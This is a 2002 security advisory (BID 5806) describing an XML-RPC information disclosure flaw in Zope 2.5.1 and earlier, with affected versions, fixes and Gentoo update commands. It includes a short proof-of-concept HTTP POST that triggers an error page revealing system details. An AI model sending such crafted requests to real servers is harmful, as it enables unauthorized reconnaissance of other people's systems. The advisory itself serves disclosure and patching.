Zope Incorrect XML-RPC Request Information Disclosure Vulnerability

BID:5806

Info

Zope Incorrect XML-RPC Request Information Disclosure Vulnerability

Bugtraq ID: 5806
Class: Unknown
CVE:
Remote: Yes
Local: No
Published: Sep 26 2002 12:00AM
Updated: Sep 26 2002 12:00AM
Credit: Discovery of this vulnerability credited to Rossen Raykov <[email protected]>.
Vulnerable: Zope Zope 2.5.1
+ Gentoo Linux 1.4 _rc1
 + Gentoo Linux 1.2
Zope Zope 2.5 .0
Zope Zope 2.4.4 b1
Zope Zope 2.4.3
Zope Zope 2.4.2
Zope Zope 2.4.1
Zope Zope 2.4 .0
Zope Zope 2.3.3
Zope Zope 2.3.2
Not Vulnerable: Zope Zope 2.6 .0b1
Zope Zope 2.5.1 b1

Discussion

Zope Incorrect XML-RPC Request Information Disclosure Vulnerability

A vulnerability has been reported for Zope 2.5.1 and earlier. Reportedly, Zope does not handle XML-RPC requests properly. Specially crafted XML-RPC requests may cause Zope to respond to a request with an error page with system specific details.

Exploit / POC

Zope Incorrect XML-RPC Request Information Disclosure Vulnerability

The following proof of concept was provided:

telnet localhost 8080
POST /Documentation/comp_tut HTTP/1.0
Host: localhost
Content-Type: text/xml
Content-length: 93

<?xml version="1.0"?>
<methodCall>
<methodName>objectIds</methodName>
<params/>
</methodCall>

Solution / Fix

Zope Incorrect XML-RPC Request Information Disclosure Vulnerability

Solution:
Zope versions 2.5.1b2 and later are reportedly not vulnerable to this issue.

Gentoo Linux has released an advisory. Users of net-www/zope-2.5.1 and earlier are urged to update their systems by issuing the following commands:

emerge rsync
emerge zope
emerge clean

Fixes are available:


Zope Zope 2.3.2

Zope Zope 2.3.3

Zope Zope 2.4 .0

Zope Zope 2.4.1

Zope Zope 2.4.2

Zope Zope 2.4.3

Zope Zope 2.4.4 b1

Zope Zope 2.5 .0

Zope Zope 2.5.1

References

Zope Incorrect XML-RPC Request Information Disclosure Vulnerability

References:

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